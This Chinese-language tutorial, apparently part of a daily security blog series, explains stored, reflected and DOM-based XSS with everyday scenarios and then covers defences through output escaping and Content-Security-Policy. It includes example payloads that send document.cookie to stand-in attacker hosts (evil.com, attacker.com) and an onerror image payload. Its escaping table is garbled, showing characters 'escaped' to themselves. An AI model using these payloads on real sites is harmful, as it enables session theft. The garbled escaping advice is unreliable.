在上一篇 Day 18 的文章中,我們探討了後端資料庫的 SQL 注入(SQLi);而今天要探討的是在應用層安全中,另一個同樣惡名昭彰且非常普及的威脅,則是前端瀏覽器的——跨站腳本攻擊(XSS)。
當網站允許使用者輸入資料,卻在未經適當過濾或轉義的情況下將其渲染到網頁上時,攻擊者就能將惡意的 JavaScript 程式碼注入到受害者的瀏覽器中執行,進而引發敏感憑證竊取、Session 劫持與帳號奪取等重大資安事故。
XSS 的本質是:網站將「不可信的使用者輸入」誤認為是「可執行的 HTML / JavaScript 程式碼」,並在其他使用者的瀏覽器環境中渲染執行。
XSS 的受害者是瀏覽網頁的真實使用者。一旦惡意腳本在受害者瀏覽器中執行,它就能以受害者的身份發起任何操作
根據惡意腳本的儲存與觸發方式,XSS 主要分為以下三種類型:儲存型、反射型、DOM-based XSS
攻擊者將惡意腳本提交至網站的資料庫(如:留言板、文章評論、個人簡介)。當其他使用者載入該頁面時,伺服器從資料庫取出惡意資料並渲染至前端,自動觸發腳本。其影響範圍最廣、危害最大,無須誘騙使用者點擊特定連結,只要訪問正常頁面即會中招。
日常案例:
小明在瀏覽一家團購網站時,點開了某款商品的「評價」。卻沒想到攻擊者早在兩天前就在評價留言框寫下了 ... 惡意程式碼,並被網站直接存入資料庫,於是就重招了。
小明只是正常滑過評論,瀏覽器就自動背景執行了該惡意腳本,默默將小明的登入狀態與購物車 Token 發送到攻擊者的伺服器。小明完全沒有點擊任何奇怪連結,帳號就直接被盜用了。
惡意腳本通常夾帶在 URL 的 Query Parameter 中(如:搜尋關鍵字、錯誤訊息頁面)。伺服器收到請求後,直接將參數內容反射印在 HTML 回應中。需要搭配社交工程(Social Engineering),誘騙受害者點擊精心設計的惡意連結(例如:[https://example.com/search?q=](https://example.com/search?q=)<script>...</script>)。
日常案例:
小華收到一封來自「知名論壇」的郵件,聲稱他的帳號有異常,需要點擊連結確認搜尋紀錄。連結長這樣:[https://forum.example.com/search?keyword=](https://forum.example.com/search?keyword=) **<script>** fetch('[https://evil.com/steal?c='+document.cookie](https://evil.com/steal?c='+document.cookie))**</script>**
小華看到網域名稱確為官方的 forum.example.com 便放心點擊。網頁開啟後顯示「找不到搜尋結果:...」,伺服器把搜尋關鍵字原封不動印在頁面上。瀏覽器隨即執行該語法,將小華在論壇的 Session Cookie 傳給了攻擊者,導致論壇帳號遭到劫持。
不經過後端的 HTML 渲染,而是前端 JavaScript 直接從 Source(如 location.search、location.hash)讀取資料,並以不安全的方式寫入 Sink(如 element.innerHTML 或 eval())。
特點: 漏洞完全存在於前端程式碼中,伺服器 Log 甚至可能完全抓不到惡意 Payload。
日常案例:
小美在 LINE 群組收到朋友分享的飯店折扣連結:[https://travel.example.com/checkout#coupon=](https://travel.example.com/checkout#coupon=)<img src=x onerror=alert(document.cookie)>
該旅遊網站的前端程式碼寫著 document.getElementById('discount').innerHTML = location.hash,打算動態把網址井號 # 後面的優惠碼顯示在畫面上。
當小美開啟網頁時,後端伺服器甚至沒收到井號後的參數,但前端 JavaScript 卻不安全地把這段 HTML 寫入網頁,導致圖片載入失敗並觸發 onerror 中的惡意語法,小美的信用卡輸入暫存資料瞬間被前端腳本竊取。
XSS 最常見且最具破壞力的應用之一,就是竊取使用者的 Session Cookie。
攻擊流程範例:
1. 攻擊者注入惡意腳本:
HTML
<script>
// 讀取受害者的 Cookie 並發送到攻擊者的伺服器
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
2. 受害者瀏覽該頁面: 瀏覽器執行上述程式碼,將含有 session_id=xyz123... 的 Cookie 傳送給攻擊者。
3. Session 劫持: 攻擊者拿到 session_id 後,直接手動將其貼入自己的瀏覽器 Cookie 中,即可完全無需密碼冒充受害者登入系統。
HTML Body
( <div> ... </div> )
<, >, &轉義為 <, >, &
HTML Attribute
(<input value="...">)
", '轉義為 ", '
JavaScript Variable
(<script>var x = '...';</script>)
特殊字元與控制碼應使用 JSON 序列化或 JavaScript Hex/Unicode Encoding
透過 HTTP 回應頭(Header)限制瀏覽器可以載入與執行的資源來源:
HTTP
# 限制只能執行同源 (Self) 的腳本,並禁止執行內聯腳本 (Inline Script,如 <script>alert(1)</script>) 與 eval()
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';